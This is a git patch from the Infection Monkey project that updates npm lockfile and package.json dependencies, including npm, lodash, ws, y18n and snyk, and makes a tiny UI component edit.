"https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, "upper-case": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", @@ -22400,36 +17912,21 @@ } }, "url-parse": { - "version": "1.4.7", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.7.tgz", - "integrity": "sha512-d3uaVyzDB9tQoSXFvuSUNFibTd9zxd2bkVrDRvF5TmvWWQwqE4lgYJ5m+x1DbecWkw+LK4RNl2CU1hHuOKPVlg==", + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.3.tgz", + "integrity": "sha512-IIORyIQD9rvj0A4CLWsHkBBJuNqWpFQe224b6j9t/ABmquIS0qDU2pY6kl6AuOrL5OkCXHMCFNe1jBcuAggjvQ==", "dev": true, "requires": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, - "url-parse-lax": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", - "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", - "dev": true, - "requires": { - "prepend-http": "^2.0.0" - } - }, "use": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", "dev": true }, - "utf8": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/utf8/-/utf8-3.0.0.tgz", - "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==", - "dev": true - }, "util": { "version": "0.11.1", "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", @@ -22595,12 +18092,6 @@ "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", "dev": true }, - "vscode-languageserver-types": { - "version": "3.16.0", - "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.16.0.tgz", - "integrity": "sha512-k8luDIWJWyenLc5ToFQQMaSrqCHiLwyKPHKPQZ5zz21vM+vIVUSvsRpcbiECH4WR88K2XZqc4ScRcZ7nk/jbeA==", - "dev": true - }, "warning": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", @@ -22751,15 +18242,6 @@ "minimalistic-assert": "^1.0.0" } }, - "wcwidth": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", - "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", - "dev": true, - "requires": { - "defaults": "^1.0.3" - } - }, "webpack": { "version": "4.46.0", "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.46.0.tgz", @@ -23004,9 +18486,9 @@ } }, "websocket-extensions": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz", - "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", "dev": true }, "whatwg-fetch": { @@ -23056,64 +18538,6 @@ "string-width": "^1.0.2 || 2" } }, - "widest-line": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz", - "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==", - "dev": true, - "requires": { - "string-width": "^4.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "string-width": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", - "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", - "dev": true, - "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.0" - } - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } - } - }, - "windows-release": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.3.tgz", - "integrity": "sha512-OSOGH1QYiW5yVor9TtmXKQvt2vjQqbYS+DqmsZw+r7xDwLXEeT3JGW0ZppFmHx4diyXmxt238KFR3N9jzevBRg==", - "dev": true, - "requires": { - "execa": "^1.0.0" - } - }, "word-wrap": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", @@ -23202,45 +18626,14 @@ } }, "ws": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.1.tgz", - "integrity": "sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==", + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz", + "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==", "dev": true, "requires": { "async-limiter": "~1.0.0" } }, - "xdg-basedir": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz", - "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==", - "dev": true - }, - "xml-js": { - "version": "1.6.11", - "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", - "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", - "dev": true, - "requires": { - "sax": "^1.2.4" - } - }, - "xml2js": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz", - "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==", - "dev": true, - "requires": { - "sax": ">=0.6.0", - "xmlbuilder": "~11.0.0" - } - }, - "xmlbuilder": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", - "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", - "dev": true - }, "xtend": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", @@ -23248,9 +18641,9 @@ "dev": true }, "y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", "dev": true }, "yallist": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 72cafa72e..e33553a61 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -27,7 +27,6 @@ "not dead" ], "devDependencies": { - "npm": "^6.14.8", "@babel/cli": "^7.12.1", "@babel/core": "^7.12.3", "@babel/plugin-proposal-class-properties": "^7.12.1", @@ -52,11 +51,12 @@ "html-webpack-plugin": "^3.2.0", "minimist": "^1.2.5", "node-sass": "^4.14.1", + "npm": "^6.14.8", "null-loader": "^0.1.1", "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", "sass-loader": "^7.3.1", - "snyk": "^1.434.4", + "snyk": "^1.716.0", "style-loader": "^0.22.1", "stylelint": "^13.7.2", "ts-loader": "^8.0.11", @@ -83,7 +83,7 @@ "file-saver": "^2.0.2", "filepond": "^4.23.1", "jwt-decode": "^2.2.0", - "lodash": "^4.17.20", + "lodash": "^4.17.21", "marked": "^2.0.0", "normalize.css": "^8.0.0", "pluralize": "^7.0.0", diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js index 7ffe9ae7d..a00bc8516 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js @@ -13,7 +13,7 @@ class GraphWrapper extends React.Component { newOptions = this.props.options; } return ( -
    +
    ) From 525a112eaa8256187f06d50bba988556a0f1d9b4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Sep 2021 12:27:57 +0200 Subject: [PATCH 169/454] UI: Update npm version to 7.24.0 --- monkey/monkey_island/cc/ui/package-lock.json | 3106 +++++------------- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 830 insertions(+), 2278 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 740508662..deaf0160f 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -9684,172 +9684,296 @@ "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "npm": { - "version": "6.14.13", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.13.tgz", - "integrity": "sha512-SRl4jJi0EBHY2xKuu98FLRMo3VhYQSA6otyLnjSEiHoSG/9shXCFNJy9tivpUJvtkN9s6VDdItHa5Rn+fNBzag==", + "version": "7.24.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-7.24.0.tgz", + "integrity": "sha512-4zd4txmN7dYEx32kH/K+gecnZhnGDdCrRFK6/n5TGUtqtyjevw0uPul0knJ9PzwDXeNf9MsWzGhjxGeI1M43FA==", "dev": true, "requires": { - "JSONStream": "^1.3.5", + "@npmcli/arborist": "^2.8.3", + "@npmcli/ci-detect": "^1.2.0", + "@npmcli/config": "^2.3.0", + "@npmcli/map-workspaces": "^1.0.4", + "@npmcli/package-json": "^1.0.1", + "@npmcli/run-script": "^1.8.6", "abbrev": "~1.1.1", "ansicolors": "~0.3.2", "ansistyles": "~0.1.3", - "aproba": "^2.0.0", "archy": "~1.0.0", - "bin-links": "^1.1.8", - "bluebird": "^3.5.5", - "byte-size": "^5.0.1", - "cacache": "^12.0.3", - "call-limit": "^1.1.1", - "chownr": "^1.1.4", - "ci-info": "^2.0.0", + "cacache": "^15.3.0", + "chalk": "^4.1.2", + "chownr": "^2.0.0", "cli-columns": "^3.1.2", - "cli-table3": "^0.5.1", - "cmd-shim": "^3.0.3", + "cli-table3": "^0.6.0", "columnify": "~1.5.4", - "config-chain": "^1.1.12", - "debuglog": "*", - "detect-indent": "~5.0.0", - "detect-newline": "^2.1.0", - "dezalgo": "~1.0.3", - "editor": "~1.0.0", - "figgy-pudding": "^3.5.1", - "find-npm-prefix": "^1.0.2", - "fs-vacuum": "~1.2.10", - "fs-write-stream-atomic": "~1.0.10", - "gentle-fs": "^2.3.1", - "glob": "^7.1.6", - "graceful-fs": "^4.2.4", - "has-unicode": "~2.0.1", - "hosted-git-info": "^2.8.9", - "iferr": "^1.0.2", - "imurmurhash": "*", - "infer-owner": "^1.0.4", - "inflight": "~1.0.6", - "inherits": "^2.0.4", - "ini": "^1.3.8", - "init-package-json": "^1.10.3", - "is-cidr": "^3.0.0", - "json-parse-better-errors": "^1.0.2", - "lazy-property": "~1.0.0", - "libcipm": "^4.0.8", - "libnpm": "^3.0.1", - "libnpmaccess": "^3.0.2", - "libnpmhook": "^5.0.3", - "libnpmorg": "^1.0.1", - "libnpmsearch": "^2.0.2", - "libnpmteam": "^1.0.2", - "libnpx": "^10.2.4", - "lock-verify": "^2.1.0", - "lockfile": "^1.0.4", - "lodash._baseindexof": "*", - "lodash._baseuniq": "~4.6.0", - "lodash._bindcallback": "*", - "lodash._cacheindexof": "*", - "lodash._createcache": "*", - "lodash._getnative": "*", - "lodash.clonedeep": "~4.5.0", - "lodash.restparam": "*", - "lodash.union": "~4.6.0", - "lodash.uniq": "~4.5.0", - "lodash.without": "~4.4.0", - "lru-cache": "^5.1.1", - "meant": "^1.0.2", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.5", - "move-concurrently": "^1.0.1", - "node-gyp": "^5.1.0", - "nopt": "^4.0.3", - "normalize-package-data": "^2.5.0", - "npm-audit-report": "^1.3.3", - "npm-cache-filename": "~1.0.2", - "npm-install-checks": "^3.0.2", - "npm-lifecycle": "^3.1.5", - "npm-package-arg": "^6.1.1", - "npm-packlist": "^1.4.8", - "npm-pick-manifest": "^3.0.2", - "npm-profile": "^4.0.4", - "npm-registry-fetch": "^4.0.7", + "fastest-levenshtein": "^1.0.12", + "glob": "^7.1.7", + "graceful-fs": "^4.2.8", + "hosted-git-info": "^4.0.2", + "ini": "^2.0.0", + "init-package-json": "^2.0.5", + "is-cidr": "^4.0.2", + "json-parse-even-better-errors": "^2.3.1", + "libnpmaccess": "^4.0.2", + "libnpmdiff": "^2.0.4", + "libnpmexec": "^2.0.1", + "libnpmfund": "^1.1.0", + "libnpmhook": "^6.0.2", + "libnpmorg": "^2.0.2", + "libnpmpack": "^2.0.1", + "libnpmpublish": "^4.0.1", + "libnpmsearch": "^3.1.1", + "libnpmteam": "^2.0.3", + "libnpmversion": "^1.2.1", + "make-fetch-happen": "^9.1.0", + "minipass": "^3.1.3", + "minipass-pipeline": "^1.2.4", + "mkdirp": "^1.0.4", + "mkdirp-infer-owner": "^2.0.0", + "ms": "^2.1.2", + "node-gyp": "^7.1.2", + "nopt": "^5.0.0", + "npm-audit-report": "^2.1.5", + "npm-install-checks": "^4.0.0", + "npm-package-arg": "^8.1.5", + "npm-pick-manifest": "^6.1.1", + "npm-profile": "^5.0.3", + "npm-registry-fetch": "^11.0.0", "npm-user-validate": "^1.0.1", - "npmlog": "~4.1.2", - "once": "~1.4.0", + "npmlog": "^5.0.1", "opener": "^1.5.2", - "osenv": "^0.1.5", - "pacote": "^9.5.12", - "path-is-inside": "~1.0.2", - "promise-inflight": "~1.0.1", + "pacote": "^11.3.5", + "parse-conflict-json": "^1.1.1", "qrcode-terminal": "^0.12.0", - "query-string": "^6.8.2", - "qw": "~1.0.1", "read": "~1.0.7", - "read-cmd-shim": "^1.0.5", - "read-installed": "~4.0.3", - "read-package-json": "^2.1.1", - "read-package-tree": "^5.3.1", - "readable-stream": "^3.6.0", + "read-package-json": "^4.1.1", + "read-package-json-fast": "^2.0.3", "readdir-scoped-modules": "^1.1.0", - "request": "^2.88.0", - "retry": "^0.12.0", - "rimraf": "^2.7.1", - "safe-buffer": "^5.1.2", - "semver": "^5.7.1", - "sha": "^3.0.0", - "slide": "~1.1.6", - "sorted-object": "~2.0.1", - "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.2", - "stringify-package": "^1.0.1", - "tar": "^4.4.13", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "ssri": "^8.0.1", + "tar": "^6.1.11", "text-table": "~0.2.0", "tiny-relative-date": "^1.3.0", - "uid-number": "0.0.6", - "umask": "~1.1.0", - "unique-filename": "^1.1.1", - "unpipe": "~1.0.0", - "update-notifier": "^2.5.0", - "uuid": "^3.3.3", - "validate-npm-package-license": "^3.0.4", + "treeverse": "^1.0.4", "validate-npm-package-name": "~3.0.0", - "which": "^1.3.1", - "worker-farm": "^1.7.0", - "write-file-atomic": "^2.4.3" + "which": "^2.0.2", + "write-file-atomic": "^3.0.3" }, "dependencies": { - "JSONStream": { - "version": "1.3.5", + "@gar/promisify": { + "version": "1.1.2", + "bundled": true, + "dev": true + }, + "@npmcli/arborist": { + "version": "2.8.3", "bundled": true, "dev": true, "requires": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" + "@npmcli/installed-package-contents": "^1.0.7", + "@npmcli/map-workspaces": "^1.0.2", + "@npmcli/metavuln-calculator": "^1.1.0", + "@npmcli/move-file": "^1.1.0", + "@npmcli/name-from-folder": "^1.0.1", + "@npmcli/node-gyp": "^1.0.1", + "@npmcli/package-json": "^1.0.1", + "@npmcli/run-script": "^1.8.2", + "bin-links": "^2.2.1", + "cacache": "^15.0.3", + "common-ancestor-path": "^1.0.1", + "json-parse-even-better-errors": "^2.3.1", + "json-stringify-nice": "^1.1.4", + "mkdirp": "^1.0.4", + "mkdirp-infer-owner": "^2.0.0", + "npm-install-checks": "^4.0.0", + "npm-package-arg": "^8.1.5", + "npm-pick-manifest": "^6.1.0", + "npm-registry-fetch": "^11.0.0", + "pacote": "^11.3.5", + "parse-conflict-json": "^1.1.1", + "proc-log": "^1.0.0", + "promise-all-reject-late": "^1.0.0", + "promise-call-limit": "^1.0.1", + "read-package-json-fast": "^2.0.2", + "readdir-scoped-modules": "^1.1.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "ssri": "^8.0.1", + "treeverse": "^1.0.4", + "walk-up-path": "^1.0.0" } }, + "@npmcli/ci-detect": { + "version": "1.3.0", + "bundled": true, + "dev": true + }, + "@npmcli/config": { + "version": "2.3.0", + "bundled": true, + "dev": true, + "requires": { + "ini": "^2.0.0", + "mkdirp-infer-owner": "^2.0.0", + "nopt": "^5.0.0", + "semver": "^7.3.4", + "walk-up-path": "^1.0.0" + } + }, + "@npmcli/disparity-colors": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "requires": { + "ansi-styles": "^4.3.0" + } + }, + "@npmcli/fs": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "@gar/promisify": "^1.0.1", + "semver": "^7.3.5" + } + }, + "@npmcli/git": { + "version": "2.1.0", + "bundled": true, + "dev": true, + "requires": { + "@npmcli/promise-spawn": "^1.3.2", + "lru-cache": "^6.0.0", + "mkdirp": "^1.0.4", + "npm-pick-manifest": "^6.1.1", + "promise-inflight": "^1.0.1", + "promise-retry": "^2.0.1", + "semver": "^7.3.5", + "which": "^2.0.2" + } + }, + "@npmcli/installed-package-contents": { + "version": "1.0.7", + "bundled": true, + "dev": true, + "requires": { + "npm-bundled": "^1.1.1", + "npm-normalize-package-bin": "^1.0.1" + } + }, + "@npmcli/map-workspaces": { + "version": "1.0.4", + "bundled": true, + "dev": true, + "requires": { + "@npmcli/name-from-folder": "^1.0.1", + "glob": "^7.1.6", + "minimatch": "^3.0.4", + "read-package-json-fast": "^2.0.1" + } + }, + "@npmcli/metavuln-calculator": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "cacache": "^15.0.5", + "pacote": "^11.1.11", + "semver": "^7.3.2" + } + }, + "@npmcli/move-file": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "requires": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + } + }, + "@npmcli/name-from-folder": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "@npmcli/node-gyp": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "@npmcli/package-json": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "requires": { + "json-parse-even-better-errors": "^2.3.1" + } + }, + "@npmcli/promise-spawn": { + "version": "1.3.2", + "bundled": true, + "dev": true, + "requires": { + "infer-owner": "^1.0.4" + } + }, + "@npmcli/run-script": { + "version": "1.8.6", + "bundled": true, + "dev": true, + "requires": { + "@npmcli/node-gyp": "^1.0.2", + "@npmcli/promise-spawn": "^1.3.2", + "node-gyp": "^7.1.0", + "read-package-json-fast": "^2.0.1" + } + }, + "@tootallnate/once": { + "version": "1.1.2", + "bundled": true, + "dev": true + }, "abbrev": { "version": "1.1.1", "bundled": true, "dev": true }, "agent-base": { - "version": "4.3.0", + "version": "6.0.2", "bundled": true, "dev": true, "requires": { - "es6-promisify": "^5.0.0" + "debug": "4" } }, "agentkeepalive": { - "version": "3.5.2", + "version": "4.1.4", "bundled": true, "dev": true, "requires": { + "debug": "^4.1.0", + "depd": "^1.1.2", "humanize-ms": "^1.2.1" } }, - "ansi-align": { - "version": "2.0.0", + "aggregate-error": { + "version": "3.1.0", "bundled": true, "dev": true, "requires": { - "string-width": "^2.0.0" + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + } + }, + "ajv": { + "version": "6.12.6", + "bundled": true, + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" } }, "ansi-regex": { @@ -9858,11 +9982,11 @@ "dev": true }, "ansi-styles": { - "version": "3.2.1", + "version": "4.3.0", "bundled": true, "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "^2.0.1" } }, "ansicolors": { @@ -9886,36 +10010,12 @@ "dev": true }, "are-we-there-yet": { - "version": "1.1.4", + "version": "1.1.6", "bundled": true, "dev": true, "requires": { "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } + "readable-stream": "^3.6.0" } }, "asap": { @@ -9947,12 +10047,12 @@ "dev": true }, "aws4": { - "version": "1.8.0", + "version": "1.11.0", "bundled": true, "dev": true }, "balanced-match": { - "version": "1.0.0", + "version": "1.0.2", "bundled": true, "dev": true }, @@ -9960,43 +10060,28 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "tweetnacl": "^0.14.3" } }, "bin-links": { - "version": "1.1.8", + "version": "2.2.1", "bundled": true, "dev": true, "requires": { - "bluebird": "^3.5.3", - "cmd-shim": "^3.0.0", - "gentle-fs": "^2.3.0", - "graceful-fs": "^4.1.15", + "cmd-shim": "^4.0.1", + "mkdirp": "^1.0.3", "npm-normalize-package-bin": "^1.0.0", - "write-file-atomic": "^2.3.0" + "read-cmd-shim": "^2.0.0", + "rimraf": "^3.0.0", + "write-file-atomic": "^3.0.3" } }, - "bluebird": { - "version": "3.5.5", + "binary-extensions": { + "version": "2.2.0", "bundled": true, "dev": true }, - "boxen": { - "version": "1.3.0", - "bundled": true, - "dev": true, - "requires": { - "ansi-align": "^2.0.0", - "camelcase": "^4.0.0", - "chalk": "^2.0.1", - "cli-boxes": "^1.0.0", - "string-width": "^2.0.0", - "term-size": "^1.2.0", - "widest-line": "^2.0.0" - } - }, "brace-expansion": { "version": "1.1.11", "bundled": true, @@ -10006,98 +10091,65 @@ "concat-map": "0.0.1" } }, - "buffer-from": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, "builtins": { "version": "1.0.3", "bundled": true, "dev": true }, - "byline": { - "version": "5.0.0", - "bundled": true, - "dev": true - }, - "byte-size": { - "version": "5.0.1", - "bundled": true, - "dev": true - }, "cacache": { - "version": "12.0.3", + "version": "15.3.0", "bundled": true, "dev": true, "requires": { - "bluebird": "^3.5.5", - "chownr": "^1.1.1", - "figgy-pudding": "^3.5.1", + "@npmcli/fs": "^1.0.0", + "@npmcli/move-file": "^1.0.1", + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", "glob": "^7.1.4", - "graceful-fs": "^4.1.15", - "infer-owner": "^1.0.3", - "lru-cache": "^5.1.1", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", + "infer-owner": "^1.0.4", + "lru-cache": "^6.0.0", + "minipass": "^3.1.1", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.2", + "mkdirp": "^1.0.3", + "p-map": "^4.0.0", "promise-inflight": "^1.0.1", - "rimraf": "^2.6.3", - "ssri": "^6.0.1", - "unique-filename": "^1.1.1", - "y18n": "^4.0.0" + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.0.2", + "unique-filename": "^1.1.1" } }, - "call-limit": { - "version": "1.1.1", - "bundled": true, - "dev": true - }, - "camelcase": { - "version": "4.1.0", - "bundled": true, - "dev": true - }, - "capture-stack-trace": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, "caseless": { "version": "0.12.0", "bundled": true, "dev": true }, "chalk": { - "version": "2.4.1", + "version": "4.1.2", "bundled": true, "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" } }, "chownr": { - "version": "1.1.4", - "bundled": true, - "dev": true - }, - "ci-info": { "version": "2.0.0", "bundled": true, "dev": true }, "cidr-regex": { - "version": "2.0.10", + "version": "3.1.1", "bundled": true, "dev": true, "requires": { - "ip-regex": "^2.1.0" + "ip-regex": "^4.1.0" } }, - "cli-boxes": { - "version": "1.0.0", + "clean-stack": { + "version": "2.2.0", "bundled": true, "dev": true }, @@ -10111,51 +10163,41 @@ } }, "cli-table3": 